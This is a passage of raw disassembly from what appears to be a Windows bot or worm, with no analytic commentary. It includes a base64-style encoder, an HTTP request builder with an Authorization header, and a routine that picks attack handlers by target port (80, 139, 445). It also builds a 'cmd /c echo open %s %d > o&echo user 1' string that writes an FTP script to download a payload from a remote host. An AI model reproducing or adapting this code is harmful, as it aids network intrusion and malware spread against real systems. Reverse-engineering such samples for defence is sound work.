arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427688
		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427680
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
		retn
sub_40D031	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07D	proc near		; CODE XREF: sub_40D21F+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B4
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D031
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BF
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62F


loc_40D0BF:				; CODE XREF: sub_40D07D+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DC
		mov	ebx, [ebp+10h]


loc_40D0CE:				; CODE XREF: sub_40D07D+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D8
		push	3
		jmp	short loc_40D0EA
; ---------------------------------------------------------------------------


loc_40D0D8:				; CODE XREF: sub_40D07D+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E2
		push	2
		jmp	short loc_40D0EA
; ---------------------------------------------------------------------------


loc_40D0E2:				; CODE XREF: sub_40D07D+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EB
		push	1


loc_40D0EA:				; CODE XREF: sub_40D07D+59j
					; sub_40D07D+63j
		pop	ebx


loc_40D0EB:				; CODE XREF: sub_40D07D+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_427698
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D12A
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D12A:				; CODE XREF: sub_40D07D+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D198
		add	[ebp-18h], eax


loc_40D17C:				; CODE XREF: sub_40D07D+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_43245C[eax]
		push	eax
		push	1
		call	sub_40D4B1
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17C


loc_40D198:				; CODE XREF: sub_40D07D+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B6
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D50A
		mov	[ebp-18h], edi


loc_40D1B6:				; CODE XREF: sub_40D07D+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1D0
		sub	esi, [ebp-1Ch]


loc_40D1C1:				; CODE XREF: sub_40D07D+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B1
		dec	esi
		jnz	short loc_40D1C1


loc_40D1D0:				; CODE XREF: sub_40D07D+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CE
		push	1
		pop	ebx


loc_40D1DC:				; CODE XREF: sub_40D07D+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B4
		push	dword_427690
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D561
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B4
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21F	proc near		; CODE XREF: ___:0040D41Cp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_43D808
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07D
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D269
		xor	bl, bl
		jmp	short loc_40D2AD
; ---------------------------------------------------------------------------


loc_40D269:				; CODE XREF: sub_40D21F+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A0
		cmp	ecx, ebx
		jnz	short loc_40D277
		mov	ecx, eax


loc_40D277:				; CODE XREF: sub_40D21F+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27F
		mov	eax, [ebp+18h]


loc_40D27F:				; CODE XREF: sub_40D21F+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CB6A4
		cmp	eax, esi
		jz	short loc_40D2A4
		xor	bl, bl
		jmp	short loc_40D2A6
; ---------------------------------------------------------------------------


loc_40D2A4:				; CODE XREF: sub_40D21F+7Fj
		mov	bl, 1


loc_40D2A6:				; CODE XREF: sub_40D21F+83j
		push	edi
		call	sub_41B0B1
		pop	ecx


loc_40D2AD:				; CODE XREF: sub_40D21F+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B4
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B4
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_432608
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_429110
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CB390
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC10
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_4324A0
		push	eax
		call	sub_40CADB
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D378
		xor	eax, eax
		jmp	loc_40D4A4
; ---------------------------------------------------------------------------


loc_40D378:				; CODE XREF: ___:0040D36Fj
		mov	[ebp-0Ch], esi


loc_40D37B:				; CODE XREF: ___:0040D47Bj
		test	esi, esi
		jnz	loc_40D481
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D469
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CB654
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CB694
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45E
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D426
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B4
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6F0
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21F
		add	esp, 1Ch
		jmp	short loc_40D45B
; ---------------------------------------------------------------------------


loc_40D426:				; CODE XREF: ___:0040D3E4j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D440
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDF
		jmp	short loc_40D458
; ---------------------------------------------------------------------------


loc_40D440:				; CODE XREF: ___:0040D430j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45E
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF05


loc_40D458:				; CODE XREF: ___:0040D43Ej
		add	esp, 0Ch


loc_40D45B:				; CODE XREF: ___:0040D424j
		movzx	esi, al


loc_40D45E:				; CODE XREF: ___:0040D3D7j
					; ___:0040D44Aj
		push	ebx
		call	dword_4CB6EC
		test	esi, esi
		jnz	short loc_40D474


loc_40D469:				; CODE XREF: ___:0040D394j
		push	3E8h
		call	near ptr 2680F4Eh
		nop


loc_40D474:				; CODE XREF: ___:0040D467j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37B


loc_40D481:				; CODE XREF: ___:0040D37Dj
		lea	ecx, [ebp-8]
		call	sub_40C900
		test	esi, esi
		jz	short loc_40D4A2
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431B08[eax]
		lea	eax, dword_431B08[eax]


loc_40D4A2:				; CODE XREF: ___:0040D48Bj
		mov	eax, esi


loc_40D4A4:				; CODE XREF: ___:0040D373j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8


loc_40D4A9:				; CODE XREF: sub_426DD8+3j
					; ___:00426DF1j ...
		push	1
		call	sub_40D6B4
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B1	proc near		; CODE XREF: sub_40D07D+110p
					; sub_40D07D+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427690
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CB
		call	sub_42669A


loc_40D4CB:				; CODE XREF: sub_40D4B1+13j
		test	ebx, ebx
		jbe	short loc_40D502
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D502
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D502:				; CODE XREF: sub_40D4B1+1Cj
					; sub_40D4B1+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D50A	proc near		; CODE XREF: sub_40D07D+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427690
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D524
		call	sub_42669A


loc_40D524:				; CODE XREF: sub_40D50A+13j
		test	ebx, ebx
		jbe	short loc_40D559
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D559
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D559:				; CODE XREF: sub_40D50A+1Cj
					; sub_40D50A+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D50A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D561	proc near		; CODE XREF: sub_40D07D+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D579
		call	sub_426573


loc_40D579:				; CODE XREF: sub_40D561+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58B
		mov	esi, [ebp+arg_8]


loc_40D58B:				; CODE XREF: sub_40D561+25j
		cmp	edi, ebx
		jnz	short loc_40D5AD
		push	dword_427690
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D725
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D725
		jmp	short loc_40D626
; ---------------------------------------------------------------------------


loc_40D5AD:				; CODE XREF: sub_40D561+2Cj
		test	esi, esi
		jbe	short loc_40D5F0
		cmp	esi, eax
		jnz	short loc_40D5F0
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C1
		mov	eax, offset dword_4276A0


loc_40D5C1:				; CODE XREF: sub_40D561+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5F0
		push	1
		mov	ecx, edi
		call	sub_40D6B4
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DC
		mov	eax, offset dword_4276A0


loc_40D5DC:				; CODE XREF: sub_40D561+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D626
; ---------------------------------------------------------------------------


loc_40D5F0:				; CODE XREF: sub_40D561+4Ej
					; sub_40D561+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D626
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D60A
		mov	eax, offset dword_4276A0


loc_40D60A:				; CODE XREF: sub_40D561+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D626:				; CODE XREF: sub_40D561+4Aj
					; sub_40D561+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D561	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62F	proc near		; CODE XREF: sub_40D07D+3Dp
					; sub_40D4B1+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D641
		call	sub_42669A


loc_40D641:				; CODE XREF: sub_40D62F+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D66A
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D66A
		cmp	al, 0FFh
		jz	short loc_40D66A
		cmp	edi, edx
		jnz	short loc_40D6A5
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D65F:				; CODE XREF: sub_40D62F+47j
		mov	ecx, esi
		call	sub_40D6B4


loc_40D666:				; CODE XREF: sub_40D62F+4Bj
					; sub_40D62F+52j
		xor	al, al
		jmp	short loc_40D6AF
; ---------------------------------------------------------------------------


loc_40D66A:				; CODE XREF: sub_40D62F+19j
					; sub_40D62F+20j ...
		cmp	edi, edx
		jnz	short loc_40D683
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D678
		push	1
		jmp	short loc_40D65F
; ---------------------------------------------------------------------------


loc_40D678:				; CODE XREF: sub_40D62F+43j
		cmp	ecx, edx
		jz	short loc_40D666
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D666
; ---------------------------------------------------------------------------


loc_40D683:				; CODE XREF: sub_40D62F+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D6A0
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D695
		cmp	eax, edi
		jnb	short loc_40D6AD


loc_40D695:				; CODE XREF: sub_40D62F+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B4
		jmp	short loc_40D6A5
; ---------------------------------------------------------------------------


loc_40D6A0:				; CODE XREF: sub_40D62F+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AD


loc_40D6A5:				; CODE XREF: sub_40D62F+28j
					; sub_40D62F+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78C


loc_40D6AD:				; CODE XREF: sub_40D62F+64j
					; sub_40D62F+74j
		mov	al, 1


loc_40D6AF:				; CODE XREF: sub_40D62F+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B4	proc near		; CODE XREF: sub_40D07D+1Fp
					; sub_40D07D+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6E0
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6E0
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D9
		cmp	al, 0FFh
		jz	short loc_40D6D9
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6E0
; ---------------------------------------------------------------------------


loc_40D6D9:				; CODE XREF: sub_40D6B4+19j
					; sub_40D6B4+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx


loc_40D6E0:				; CODE XREF: sub_40D6B4+8j
					; sub_40D6B4+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6F0	proc near		; CODE XREF: ___:0040D410p
					; sub_40D849+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D71E
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D71E:				; CODE XREF: sub_40D6F0+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D725	proc near		; CODE XREF: sub_40D561+39p
					; sub_40D561+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D738
		call	sub_426573


loc_40D738:				; CODE XREF: sub_40D725+Cj
		mov	ecx, edi
		call	sub_40D849
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74E
		mov	ebx, eax


loc_40D74E:				; CODE XREF: sub_40D725+25j
		test	ebx, ebx
		jbe	short loc_40D784
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D784
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40D784:				; CODE XREF: sub_40D725+2Bj
					; sub_40D725+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D725	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78C	proc near		; CODE XREF: sub_40D62F+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B2
		mov	edi, [ebp+8]


loc_40D7B2:				; CODE XREF: sub_40D78C+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BF
		xor	eax, eax


loc_40D7BF:				; CODE XREF: sub_40D78C+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7F0
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7DA
		xor	eax, eax


loc_40D7DA:				; CODE XREF: sub_40D78C+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7EA
		retn
; ---------------------------------------------------------------------------


loc_40D7EA:				; DATA XREF: sub_40D78C+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40D7F0:				; CODE XREF: sub_40D78C+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80E
		cmp	eax, edi
		jbe	short loc_40D7FD
		mov	eax, edi


loc_40D7FD:				; CODE XREF: sub_40D78C+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_40D80E:				; CODE XREF: sub_40D78C+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B4
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82E
		mov	edi, ebx


loc_40D82E:				; CODE XREF: sub_40D78C+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D849	proc near		; CODE XREF: sub_40D725+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D876
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D876
		cmp	al, 0FFh
		jz	short loc_40D876
		push	1
		call	sub_40D6B4
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6F0


loc_40D876:				; CODE XREF: sub_40D849+9j
					; sub_40D849+10j ...
		pop	edi
		pop	esi
		retn
sub_40D849	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D879	proc near		; DATA XREF: ___:00429008o
		test	byte_4DBC74, 1
		jnz	short loc_40D889
		or	byte_4DBC74, 1


loc_40D889:				; CODE XREF: sub_40D879+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D040
		pop	ecx
		retn
sub_40D879	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89B	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40D89B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D8A0	proc near
		mov	eax, dword_4328C0
		add	eax, 6
		mov	dword_4CE374, eax
		retn
sub_40D8A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AE	proc near		; CODE XREF: sub_40D8AE+D0p
					; ___:0040DE0Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C2
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C6
; ---------------------------------------------------------------------------


loc_40D8C2:				; CODE XREF: sub_40D8AE+Cj
		and	[ebp+arg_7], 0FEh


loc_40D8C6:				; CODE XREF: sub_40D8AE+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8EA
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FC
; ---------------------------------------------------------------------------


loc_40D8EA:				; CODE XREF: sub_40D8AE+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40D8FC:				; CODE XREF: sub_40D8AE+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D995
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_40D98C
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98C
		push	[ebp+arg_20]
		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D988
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AE
		add	esp, 2Ch
		jmp	short loc_40D997
; ---------------------------------------------------------------------------


loc_40D988:				; CODE XREF: sub_40D8AE+B3j
		mov	al, 1
		jmp	short loc_40D997
; ---------------------------------------------------------------------------


loc_40D98C:				; CODE XREF: sub_40D8AE+9Cj
					; sub_40D8AE+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx


loc_40D995:				; CODE XREF: sub_40D8AE+61j
		xor	al, al


loc_40D997:				; CODE XREF: sub_40D8AE+D8j
					; sub_40D8AE+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AE	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
